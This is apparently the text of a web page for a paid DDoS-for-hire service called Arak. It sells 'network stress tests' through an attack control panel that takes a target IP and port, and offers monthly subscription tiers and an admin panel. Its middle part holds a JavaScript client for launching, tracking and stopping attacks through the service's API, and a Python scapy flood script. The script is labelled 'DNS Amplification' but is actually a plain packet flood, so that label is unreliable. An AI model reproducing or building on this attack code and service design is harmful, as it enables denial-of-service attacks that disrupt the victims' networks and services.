System Dashboard

Real-time network stress testing metrics

Total Attacks

0

↑ All time

Active Sessions

0

Currently running

Concurrent Limit

3

Available slots

Uptime

99.8%

↑ Last 30 days

Attack History

⚡ Attack Control Center

Configure and deploy network stress tests

Configuration

🎯 Target

IP Address

Port

⚔️ Attack Method

Vector

⚙️ Parameters

                                        Silver Plan Active - Limits Applied
                                    

Duration

60 seconds

Threads

10 threads

Request Rate

1000 req/s

Packet Size

512 bytes

Real-time Monitor

Packets Sent 0

Data Transmitted 0 MB

Current Rate 0 req/s

Elapsed Time 0s

Progress 0%

Console Output

00:00:00 [INFO] System ready. Awaiting configuration...

Subscription Plans

Choose the plan that fits your testing requirements

Bronze Tier

$15/mo

Perfect for basic stress testing

1 Concurrent Attack
Max 1800 seconds duration
DNS Amplification only
Up to 1000 req/s
Basic support (48h)
7-day attack logs

Silver Tier

$25/mo

Server Connection Configuration

Backend integration examples for connecting attack infrastructure

Backend API Endpoints

API Base URL

WebSocket Server

Authentication Token

Server Region

Backend Integration Code (JavaScript)

// Attack API Client Example
class ArakClient {
    constructor(apiKey) {
        this.baseUrl = 'https://api.arak.network/v1';
        this.apiKey = apiKey;
        this.headers = {
            'Authorization': `Bearer ${apiKey}`,
            'Content-Type': 'application/json'
        };
    }

    // Launch attack
    async launchAttack(config) {
        const response = await fetch(`${this.baseUrl}/attacks/launch`, {
            method: 'POST',
            headers: this.headers,
            body: JSON.stringify({
                target: config.target,
                port: config.port,
                method: config.method,
                duration: config.duration,
                threads: config.threads,
                packet_size: config.packetSize,
                rate: config.rate
            })
        });
        return await response.json();
    }

    // Get attack status
    async getStatus(attackId) {
        const response = await fetch(`${this.baseUrl}/attacks/${attackId}/status`, {
            headers: this.headers
        });
        return await response.json();
    }

    // Stop attack
    async stopAttack(attackId) {
        const response = await fetch(`${this.baseUrl}/attacks/${attackId}/stop`, {
            method: 'POST',
            headers: this.headers
        });
        return await response.json();
    }

    // WebSocket connection for real-time updates
    connectWebSocket(attackId) {
        const ws = new WebSocket(`wss://ws.arak.network/attacks/${attackId}`);
        
        ws.onmessage = (event) => {
            const data = JSON.parse(event.data);
            console.log('Attack update:', data);
            // Update UI with real-time stats
        };
        
        return ws;
    }
}

// Usage example
const client = new ArakClient('sk-arak-demo-xxxxxxxxxxxxx');

// Launch an attack
const attack = await client.launchAttack({
    target: '192.168.1.100',
    port: 80,
    method: 'DNS Amplification',
    duration: 60,
    threads: 10,
    packetSize: 512,
    rate: 1000
});

console.log('Attack launched:', attack.id);
                

Python Backend Example

# Python Attack Server Implementation
import asyncio
from scapy.all import *

class AttackServer:
    def __init__(self, target, port, method):
        self.target = target
        self.port = port
        self.method = method
        self.running = False
        self.packets_sent = 0

    async def dns_amplification(self, duration):
        """DNS Amplification attack implementation"""
        end_time = time.time() + duration
        
        while time.time() < end_time and self.running:
            # Construct DNS query packet
            packet = IP(dst=self.target) / UDP(dport=self.port) / DNS(
                rd=1, 
                qd=DNSQR(qname="example.com")
            )
            
            # Send packet
            send(packet, verbose=False)
            self.packets_sent += 1
            
            await asyncio.sleep(0.001)

    def start_attack(self, duration):
        self.running = True
        asyncio.run(self.dns_amplification(duration))

    def stop_attack(self):
        self.running = False
                

⚡ Admin Control Panel

System administration and user management

Total Users

247

↑ 12 this week

Active Users

89